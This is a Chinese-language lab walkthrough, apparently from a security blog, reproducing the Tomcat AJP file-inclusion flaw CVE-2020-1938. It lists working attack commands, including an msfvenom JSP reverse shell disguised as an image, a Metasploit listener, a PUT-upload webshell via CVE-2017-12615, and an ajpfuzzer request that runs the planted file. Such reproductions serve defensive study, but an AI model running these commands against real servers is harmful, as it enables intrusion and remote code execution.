Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

​一、漏洞背景

2020年02月20日,國家信息安全漏洞共享平臺(CNVD)發佈了關於Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作為一款免費開源輕量級的web應用服務器,廣泛應用於併發量不是很高的場合,Tomact默認端口8080用於處理http請求,Tomcat會監聽AJP連接器的8009端口,用於與其他Web服務器通過AJP協議進行交互,由於Tomcat AJP協議存在設計缺陷,攻擊者可構造特定的payload讀取服務器WEB目錄下的任意文件以及可以包含任意文件,若存在上傳點,可以獲取shell,進一步進行遠程代碼執行。

二、影響版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

三、漏洞復現

這裡為了更加直觀方便的復現CVE-2020-1938,採用WindowsServer + Apache Tomcat 8.5.19環境。

1、搭建環境

首先上官網下載Apache Tomcat 8.5.19,當然別忘了JAVA。

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/

下載完直接放在服務器任意文件夾,在bin目錄開啟Tomcat,其實瀏覽器打開默認端口8080就行,看到熟悉的Tomcat界面說明那就是OK的。

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

2、msf生成反彈木馬

用msf生成一個jsp反彈木馬。這裡為了更方便接近生產環境我們直接生成一個圖片馬兒。

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

<code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=本機IP LPORT=監聽端口 R >muma.jpg/<code>

OK,已經生成了一個文件名為muma.jpg的圖片木馬。

接下來我們利用一下metasploit中的exploit/multi/handler後門模塊進行攻擊。

監聽

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

<code>use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本機IPset lport 監聽端口/<code>

3、任意文件上傳

這裡我們順便就用Apache Tomcat 8.5.19來做一個任意文件上傳漏洞的復現,在服務器上修改配置文件/conf/web.xml,允許tomcat用PUT方式提交,使其產生一個任意文件上傳的漏洞,不多說,自行腦補CVE-2017-12615。

修改tomcat配置文件/conf/web.xml,添加readonly參數,屬性改為false。

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

抓取tomcat頁面數據包,修改提交方式為PUT,構造payload,上傳webshell

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

訪問一下這個webshell

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

就可以遠程執行任意命令了,當然,如果權限不足的話還得提權,這裡就不做演示了。

4、反彈shell

回到正題(接第2篇)假設說某個運行在該版本tomcat上的業務有個上傳點,我們在上傳目錄upload上傳了我們剛才生成的反彈圖片馬。

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

下載一個AJP包構造器ajpfuzzer_v0.6.jar

<code>URL:https://github.com/doyensec/ajpfuzzer/releases/<code>

運行java -jarajpfuzzer_v0.6.jar

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

執行connect 目標ip 8009連接目標端口

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

<code>java -jar ajpfuzzer_v0.6.jarconnect 目標IP 8009/<code>

執行下面命令構造併發送AJP包,其中/upload/muma.jpg為上傳的木馬路徑,其中ma.jsp可以換為任意該web項目中沒有的jsp文件,這樣tomcat才會去調用DefaultServlet.

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

<code>forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"/<code>

請求發送成功後,ma.jpg被當做jsp解析,成功拿到shell

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現

5、Tomcat Ajp協議文件讀取漏洞

用大佬寫的EXP直接任意文件讀取

<code>https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/<code>
Apache Tomcat文件包含漏洞(CVE-2020-1938)復現



KillBoy安全實驗室

迴歸技術本質,引領實戰潮流

Apache Tomcat文件包含漏洞(CVE-2020-1938)復現


分享到:


相關文章: